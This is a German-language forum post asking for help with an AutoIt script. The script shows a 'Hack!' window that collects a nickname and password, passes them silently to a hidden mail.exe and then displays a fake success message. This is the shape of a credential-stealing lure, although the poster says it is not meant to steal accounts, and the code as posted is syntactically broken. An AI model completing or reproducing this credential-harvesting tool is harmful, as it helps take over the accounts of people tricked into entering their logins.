Ich habe ein Problem mit autoit:
Code:
#include <ButtonConstants.au3>
[SIZE="2"]#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1_1 = GUICreate("", 233, 192, 192, 124)
$Label1 = GUICtrlCreateLabel("Nickname:", 8, 0, 103, 28)
GUICtrlSetFont(-1, 14, 800, 0, "MS Sans Serif")
$Input1 = GUICtrlCreateInput("", 8, 32, 209, 21)
$Label2 = GUICtrlCreateLabel("Passwort:", 8, 64, 93, 28)
GUICtrlSetFont(-1, 14, 800, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 8, 96, 209, 21)
$Button1 = GUICtrlCreateButton("Hack!", 8, 136, 209, 49)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
MsgBox(0, "Erfolg", "Die AP wurden erfolgreichinzugefügt")
EndSwitch
WEnd
Func CallMailExe($Path, $Input1, $Input2)
Local $var = "|@Name:" & $Input1 & "|@Passwort:" & $Input2
$var = StringReplace($var, " ", "kdw<Y>")
ShellExecute($Path, $var, @ScriptDir, "", @SW_HIDE)
EndFunc ;==>CallMailExe[/SIZE]
Nickname: hi
Passwort: hi
aber wenn ich statt
Code:
Case $Button1 CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
Code:
Case $Button1 CallMailExe(@ScriptDir & mail.exe",$Input1,$Input2)
Wenn ich das manuel mache mit:
Code:
Case $Button1 CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
könnt ihr mir beim Script weiterhelfen, das Ich die Daten mit der Variable bekomme? lg
Und noch eine Sache: Ich will das Programm soll kein hack werden, wo ich anderen den Account klaue
lg Lufl







